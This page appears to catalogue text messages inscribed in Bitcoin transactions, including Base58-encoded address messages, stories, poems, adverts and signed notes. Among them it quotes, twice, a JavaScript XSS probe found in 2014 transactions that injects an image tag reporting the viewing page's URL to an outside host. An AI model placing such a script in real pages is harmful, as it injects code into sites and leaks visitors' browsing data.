Bitcoin addresses are by convention expressed in Base58, which is a human readable binary-to-text encoding invented by Bitcoin. It is a bit like Base64, but obsessed with eliminating characters that look like one another in popular but stupid fonts like capital "I" and lower case ell "l".
This seems to be one of the earliest strategies used to encode messages.
These messages were originally found with: github.com/cirosantilli/bitcoin-inscription-indexer#payload-size-out-utxo-2vals
The generated text is however rather obfuscated by the limitations of Base58.
The following transactions contain base58 encoded messages on addresses:
- tx 7961b5ae2f053a16d5c589104f87edfabe80fcae185832ea185e7f0cf06c7747 (2011-12-01) is a Lorem ipsum, 7961b5ae2f053a16d5c589104f87edfabe80fcae185832ea185e7f0cf06c7747 is another one:
11Lorem1psumDo1orSitAmetXXXWAEZ6C 11ConsecteturAdipiscingE1itYQHEPM ...
- www.blockchain.com/btc/tx/751ff11286a43da5d6cf7da8f5bc736e522bbd698ec03c76c63368e5260667e6 seems to contain a bunch of names. It is very noisy, but feels too much coincidence not not be intentional
1JameLs3Q9enoB7VT3bDc3XYoziRDqW7o6 1NeLLAADSPYk4wvzCbiac362DdTWNqnWxV 1MaRinaQFfRbEDoz5FvDaJoST1PsqQQhL7 1DioNTe4eHexc74CPPCwJMGPHaDE8za4BM
- www.blockchain.com/btc/tx/ace9524519577138ca98ec01651758fd1e5ec33ce0110c6681eccba0e716cc7a is also possible,
11Bitta1ktvchristmasspecia1WNDvAa
repeats over an over, so something alongBitta Christmas Special
- tx 8ffacbb18f63576fe323cbf2acc6c4c01c86aadf13d8352cfdd39d91916d98c8 (2011-12-05) advertises etchablock.com:so maybe this is the service used to for those base58 encodings. It is down as of 2021, and there are no decent archives unfortunately: web.archive.org/web/20130301000000*/http://etchablock.com/. Some online mentions:
EtchABLockDotComGivesYou BLockChain1mmortaLity
- www.reddit.com/r/Bitcoin/comments/s9cra/comment/c4d5x9b/ suggests that the creator is a "Jonathan Ryan Owens". Some profiles:
- www.blockchain.com/btc/tx/028b8514a4f6cc96ac3c1c83dbb117ab9dc5eb09deab7b49bf038fd460173127Source text: en.wikipedia.org/wiki/The_Aristocrats
11TheSetupTheJokeA1waysXXXXTF9Wzp 11BeginsWithAFami1yActGoingY3Q4qw 111nToSeeATa1entAgentThoseXZxb7hQ
- www.blockchain.com/btc/tx/89010c791c9d7ed24affa1d638b12179d2ca7ec91704fe906834386f43a8101dSource text: en.wikipedia.org/wiki/United_States_Declaration_of_Independence
11When1nTheCourseofHumanXXXXdfMdQ 11Events1tBecomesNecessaryXYC2rJ5 11ForonePeop1eToDisso1veTheXKXUiD
- www.blockchain.com/btc/tx/c99179465b2d3b88fb6ede5d2e42015b15ec641e7a68f18216acaf741723de00Possible source: en.wikipedia.org/wiki/C_data_types
11The1ntegerDataTypesCharXXZZwJAn 11ShortLongAnd1ntCanBeXXXXXVfzLKj 11EitherSignedorUnsignedXXXYMhhUY
- www.blockchain.com/btc/tx/3bbd94d22346a3bfb44257293e10c3b5c9ee39230c1cd358bdce2bf03c61ba0b en.wikipedia.org/wiki/Emerald_Tablet
12TisTrueWithoutALie22222221wT3qjn 1CertainAndMostTrue2222222225YPnJF 12ThatWhich1sBe1ow1sAs222221y3G7mv 12ThatWhich1sAboveAnd2222221vxkcEq ...
- www.blockchain.com/btc/tx/237b50dac42af130171773b233954e62690182fd4901a453ad5d11d1d54a8ca3 en.wikipedia.org/wiki/The_Glass_Menagerie
11TomAppearsAtTheTopofTheXXWyM2Bt 11A11eyAfterEachSo1emnBoomXaBp7oy 11ofTheBe111nTheTowerHeXXXXVQaies 11ShakesALitt1eNoisemakeroraeWTgK ...
- www.blockchain.com/btc/tx/1f9606f267cc398356663b14d1a7a3591e3da06572893394c14975a6fc11798f en.wikipedia.org/wiki/Philosophiæ_Naturalis_Principia_Mathematica
11Ru1e1WeAreToAdmitNoMoreXXazQ96z 11CausesofNatura1ThingsThanZAQ9ig 11SuchAsAreBothTrueAndXXXXXZyzfQp 11SufficientToExp1ainTheirXVSC2gY
- tx ef374dcc5b23f16ecb0b1b639ba577d2acda7ad32321b5866db2fa9e6807b9c5 (2011-12-01) contains the intruction from the bitgoin.org website: web.archive.org/web/20210129054851/https://bitcoin.org/en/
11Bitcoin1sADecentra1izedXXWPM6Hs 11PeertopeerNetworkoverXXXXUkyy3M 11WhichUsersMakeXXXXXXXXXXXX4tQgN 11TransactionsThatAreXXXXXXVdZfnJ
Here are some exceptionally interesting text inscriptions that are not mentioned in other sections:
- Section "Genesis block message"
- tx 3a1c1cc760bffad4041cbfde56fbb5e29ea58fda416e9f4c4615becd65576fe7 (2013-04-10) has the broken Basic creature simulation mentioned at Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) section "A creature simulator in Basic" starting with:
10 REM The variables in life 20 ' life the lifespan of a creature 30 ' mates the number of mates a creature needs to breed
- tx 61e26d407c17e8ee33a8b166c78f78c53cdcdc0078ae1f9405e6583cfb90eaf4, block 268081 (2013-11-05). This is a very interesting transaction, it contains inscriptions both on the input script and on the output script. On the input:On the output:
I should not run the washing machine while listening to WZBC. I managed to convince myself that the machine was slowly failing -- that a rythmic, squeaking noise it had been making had gotten a little worse. Ten minutes later, though, the machine had paused. But the noise was still there.
Feels like a Koan. I wish I knew who inscribed this.> Skynet went online on August 4th 1997, and began to learn at a geometric rate. > It became self-aware on August 29th 1997 2:14 am Eastern Time. On August 29th > 1997 2:15 am it discovered nihilism, and either shut itself down due to > despair, or because it was logical. We're not sure which. On August 4th, 1998, it failed to renew its domain name, which was promptly squatted on by a link farmer pitching X10 cameras and singing electric fish.
- tx 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af, block 305806 (2014-06-14) contains a blockchain explorer XSS detector that reports its location back to: www.trollbot.org/xss-blockchain-detector.phpSoon afterwards at tx a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 block 305809 there is a different version with slightly different escaping:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>
Also of interest, the output script of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af is non standard and a provably unspendable Bitcoin output script. a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 however, although also non-standard, was spendable and was spent, further analysis at: Section "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af".<script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?bc=btc&href=' + location.href + '\'>');</script>
- tx 713a6832365a68f71c6aee879f79b70e6e738cd6255f09bc41f204c81575c248 (2014-09-28) via cryptograffiti.info has the eleven rules of LaVevan Stanism starting with:
1. Do not give opinions or advice unless you are asked.
- tx 604f17dfdb5a88fc072bd2bcf53436087c899051241e519af7241dc0037d3df6 (2014-12-01) has a cover letter for a job at Hive Blockchain Technologies Ltd:At news.ycombinator.com/item?id=26826334 the supposed author mentions they didn't reply... sad. He did get to work for another Blockchain company though: www.ascribe.io, which eventually died. Presumably github.com/TimDaub.
Dear hive team, ever since I have discovered Bitcoin I have been a fan of your products. [...]. Sincerely, Tim Daubenschuetz
- tx 213e8f46f98e96f4f4d8b45bd3a1cbada14213796c200220e1e8c2b315988faa (2015-03-25)contains a full-text copy of: cointelegraph.com/news/113806/warning-kaspersky-alerts-users-of-malware-and-blockchain-abuse (2015-03-27), includinga link to it. Two other copies appear in future transactions tx c863aa9d6aa9345e4abdc216b6f035c4276b4423a924bb2e1593c22c670cba6f and tx ba58caf1a27ab7ca627cc3efa5914e4d37e00b3a7e9cf29508d451dc3da00bf7
Warning! Kaspersky Alerts Users of Malware and 'Blockchain Abuse'
- tx 3405f441f0d3acd8580d261d58e5a14d7638d0ee29200e673f496198d231edd7, block 364852 (2015-07-11) and a nearby transaction on the same block 1759ed3f0f5829711157c1fc3662f4bf01f3bee3a430242bc729898bb77c2a4a via cryptograffiti.info contains a possibly novel long short story entitled:The first paragraph is:
How to Play Chinese Hats - A Short Story - 2015
At the end we see a signature and a tipjar:Somehow, you find yourself in a dim and smoky room with no entrance, exit or windows, without knowing how you got there or even where you've come from. In front of you are a group of Chinese gentlemen shuffling around what looks to be traditional black Chinese hats styled after the Ming dynasty, on a circular chestnut wood table. Surprisingly, you find the same type of hat in your very own hand when you look down.
He did receive one tipin 2015 for 0.02590000 BTC: www.blockchain.com/explorer/addresses/BTC/1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGVRen @ 1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGV
1759ed3f0f5829711157c1fc3662f4bf01f3bee3a430242bc729898bb77c2a4a
- tx 0b63ebfadcb7bb66bc2a4bc7b826587505eab0450ca64c376ac9912a00d35c54, block 371796 (2015-08-27) via cryptograffiti.info has a large text entitled with what seems to be a storm forecast:A Wikipedia page about the August 2015 event: en.wikipedia.org/wiki/Tropical_Storm_Erika
TROPICAL STORM ERIKA INTERMEDIATE ADVISORY NUMBER 11A
The storm was formed "August 24, 2015", so this inscription was contemporary. Good friend, warning his fellow Bitcoiners.Tropical Storm Erika was one of the deadliest and most destructive natural disasters in Dominica since Hurricane David in 1979.
- tx 4dd57f3e443ad1567a37beab8f6b31d8cb1328a26bac09e50ba96048ad07b8c1 (2015-09-03) via cryptograffiti.info contains a long porn comededy text in an Italian-like languge starting with:which translates to:
E il cazzo non entr
.And the dick doesn't fit
By dumping the transaction data, we actually see that the beginning was slightly missed due to a character encoding issue, the text actually starts with:followed by some non ASCII characters that we haven't yet been able to decode. It is not ISO_8859-1.BANG!
Ciro Santilli first thought it might beto be a dialect of Italian, or possibly Sicilian language given the presence of "sv" in the text, but an Italian friend says it is just Italian with several words cut in half, possibly for comedic effect. No pre-existing hits found on the web. - tx 24e137d5b478d9a8b947e4f3f6130a86f2e0f6a2dda1cac1373b485c577f8ba7 (2015-12-03) contains a tale of an Electrical Engineer vs a Software developer tale.Possible original: www.cs.brandeis.edu/~hornby/amuse/vs_toast.txt
Once upon a time, in a kingdom not far from here
- tx e2c20c2977589240ad9486672a0273d340ed5f8b50a50071716d12035d7212e8 (2016-01-31) has a large Lorem ipsum
- tx 5f62490ca4736da30da35ebc3f86156dbdb529dcb2f77cb8b0eb84868d567b00 (2016-05-05) via cryptograffiti.info contains a poem entitled:whichi is Dutch for;
Voor mijn jongere broeder
No Google hits, so possibly novel.For my younger brother
- tx 0809e7f31d074eefc0f1f02463a28b5238688aa73e6361c01cbc7b1848ac8d93 (2017-07-10) via cryptograffiti.info contains a white paper entitled:by Erich Ertsu from Coingaming Group (July, 2017). He was previously the creator of cryptograffiti.info This is the startup: www.crunchbase.com/organization/coingaming, previously at coingaming.io but now moved toyolo.com. The paper does not seem to be reproduced anywhere on the clearweb, the blockchain was its primary location of publication.
Disincentivizing Double-Spending by Making it Unprofitable
- tx e450166eba552202fb6984867f2b851e2399c5a0ae05026bf6b056176491ec5d (2017-03-11)
Here are some of the reasons why Tau is better than Pi as a universal constant for circles.
- tx 0f25e23b7b59fde67d8b2d41b749e4f89fd1ff8061aa0ddac8c27c8230167e35 (2017-08-18):Epic. The transaction sent:
A Crosschain transaction was sent in to your address in error. The transaction was 9174f24946496823e4edaf3fe1676a404164178d1c848fa476113bbe2f5b9463 . Please return to 1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV. Thank you in advance."
- 0.23225200 to 1BqyRKHoLEKgHGUoDiFUEZu5jPaWeuCWWt
- 5.6 BTC to 1JG8EVTx1zWzDyctAD5fFuMt59TWkSw2dW1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV never received anything back so far.
The message is encoded as fake 12 P2PKH outputs, followed by an actual address, presumably the message target, but none of the addresses is one of the above targets of the transaction, so how did they know to associate the addreses? They must have extra hidden data? - tx 057954bb28527ff9c7701c6fd2b7f770163718ded09745da56cc95e7606afe99, block 666666 (2021-01-18):As highlighted at www.reddit.com/r/Bitcoin/comments/vxletr/message_was_embedded_in_block_666666/ the block number is a reference to the number of the beast.
Do not be overcome by evil, but overcome evil with good - Romans 12:21
TODO:
- 55a5d0c09ad5535711d649fdab394add3bb6e50cc2c49920cf0cb758ff0b69e8 via cryptograffiti.info contains what seems to be a ASCII table tracking train movements? Maybe from a train lover? But also curiously, it is GPG signed:Interesting.
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 time direction # covered #uncovered notes 11/11/2013 6:31pm E 4 1 csx 6243 11/19/2013 4:46pm E 3 0 csx 6215 11/19/2013 5:44pm W 4 0 Amtrak 11/21/2013 4:05pm E 0 0 csx 6206
86c1b7bd8bbdd8903355a8f6a408616621fd2ea4321b9aced778f388afe0b244 has something similar. - cc38d740dc1999a803dbba0c48a82af994861e0767f6bcd7d6ceebe4e66b4678 via cryptograffiti.info contains a pipe dream technical proposal idea entitled:
Attack-resistant decentralized time and location services via Nakamoto chain consensus.
- 5d9ef37e6beea5342ce1cb2681a7b465a542394aeda2b1e1fed00fab44b17833 via cryptograffiti.info contains a test of every character from 0 to 255, e.g. some of the readable characters are:d5f6614b4e3bdc611c8ad15f158163e48e1a1298ea5f5f9832ada8db6e2dd4b2 has something similar.
65: A 66: B 67: C 68: D 69: E 70: F 71: G 72: H 73: I 74: J 75: K 76: L 77: M
- 0f96b2f6e3c4f4b6319efbafd2e7148d507b260b4d7914766e79aec7d9ac9574 via cryptograffiti.info has a long-ish message that looks like a software release note, not sure what it is about:
Truecrypt 7.1a ============== 2015-07-19 I am setting the filesizes and checksums of the last Truecrypt version (7.1a) in stone.
- 206a0edb11ba0677248709d9bc5210b35e8a03710d9bb19c6f1e4e254bf21f5e via cryptograffiti.info has a letter to AGI:While cute, the author clearly underestimates the magnitude of singularity!
Dear Artificial Intelligence,
- cdbeb50c11b788fa4e67e00fb2e2607b129492a4a38bed0a9e31443a42e272a4 via cryptograffiti.info contains a semi-philosophical text that starts with:
When in the course of cosmic evolution,
- b55c3312ceeeb4ab422b658f5f4d5884775a498ddde6a527fca7b67752e1b044 via cryptograffiti.info contains some wedding vows starting with and GPG-signed:Zachary Thomas Smith,I give myself - Jenna Marie Vaziri - to you, to be your wife, your best friend, and your home - just as you are to me.
- 3620da027df2e2e34ac9abe0123dcd7217fc5b8dec9921cbae258c640c7a6591 via cryptograffiti.info contains a neatly formatted UTF-8 ad with a link to: bitcointalk.org/index.php?topic=1033773.0The thread links to bcexchange.org/ which is dead as of 2024.
╭───────────────────────────────────────────────────────────────────────────╮ │ B&C EXCHANGE: A decentralized cryptocurrency exchange for everyone │ ┝━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┥ │ https://bitcointalk.org/index.php?topic=1033773.0 │ │ │ │ B&C Exchange will be an open-source decentralized exchange that completes │ │ cryptocurrency trades between users by utilizing multisig signers that │ │ compete for blockchain rewards based on their effectiveness and honesty. │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤ ┆ ▷▶▷▶ There are 10 days left in the auction! ◀◁◀◁ ┆ ╰───────────────────────────────────────────────────────────────────────────
f93e128c59b357ca2d1b256eb1c4d991c488da460527ca0898dc789210073bd2 has another one:┏━━ UTF-8 is coming to CryptoGraffiti.info!!! ━━┓ ┠╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┨ ┃ I love you. Σ΄αγαπώ. ┃ ┃ Ma armastan sind. ┃ ┃ Aš tave myliu. Mä rakastan sua. ┃ ┃ Я люблю тебя. ┃ ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- 140562ceb42fc8943fa52ccc0ddbb11ca2d88dae9b5240d7a4b46864538c515aTODO understand this part:
Reddit on the Bitcoin blockchain Test
The "Address" you see above is more than a bitcoin address? For example, the web address to this reddit thread is: https://www.reddit.com/r/Bitcoin/comments/3cdxep/reddit_on_the_blockchain_test/ Which converts to the bitcoin address of: 12uPLj6PSz6ULnZi1jXo7Ch1Je1SuqxRcE How? Because any text, like a web address, can be converted into a bitcoin address. www.reddit.com = 1MZCEUCtyJCDkNSLYbPVvAgf9V3CsEw3t www.google.com = 1JEZLaFciACHDEMVd3RXZzPmGcsWEwYQLr www.voat.com = 1JvCp9X5Bvvt2kz3EqP5ppkzX62sKgKbqr www.paystamper.com = 14wgeaWz2rKax8iVSWNFSrSsAYNeGyNdkt Duriel@paystamper.com = 1HcuhfTAiQCt6KdMG2rZLXsTcKYj9nLDhS
- 940f41f5cc96182c1392c239d7570f94bd524e141ca0a88fdb154bd817049f83.bin via cryptograffiti.info contains some links to profiles controlled by a "Daniel Michael Abraham" www.linkedin.com/in/daniel-abraham-9432a798/. Other messages by him:
- 3d39024fa0cddfc529d4a41501df7a076f5bcf9a7a43f88f54a717e6df7f4770
- 088ebf7ffdef96b8fcac7eafa2ff6d04f295ea24f159e1ce4b7d47ed7b91b1f9